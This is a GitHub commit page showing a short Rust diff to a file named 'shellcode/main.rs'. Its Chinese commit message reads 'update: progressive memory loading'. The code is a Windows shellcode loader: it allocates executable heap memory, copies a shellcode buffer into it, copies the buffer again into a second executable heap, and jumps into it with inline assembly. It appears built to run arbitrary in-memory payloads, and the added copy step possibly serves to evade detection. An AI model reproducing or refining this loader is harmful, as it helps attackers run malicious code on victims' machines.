Skip to content

Commit 28143c7

Browse files
committed
更新: 内存渐进式加载
1 parent 6ae26bf commit 28143c7

File tree

1 file changed

+7
-1
lines changed

1 file changed

+7
-1
lines changed

temp/shellcode/main.rs

+7-1
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,13 @@ fn main() {
5555
let heap= HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);
5656
let alloc = HeapAlloc(heap, 8, flen);
5757
std::ptr::copy_nonoverlapping(shellCode.as_ptr(), alloc as *mut u8, flen);
58-
let jmp_target = alloc.offset(0 as isize);
58+
59+
let heap1= HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);
60+
let alloc1 = HeapAlloc(heap1, 8, flen);
61+
std::ptr::copy_nonoverlapping(alloc as *mut u8, alloc1 as *mut u8, flen);
62+
63+
64+
let jmp_target = alloc1.offset(0 as isize);
5965
asm!("jmp {}", in(reg) jmp_target)
6066
}
6167
}

0 commit comments

Comments
 (0)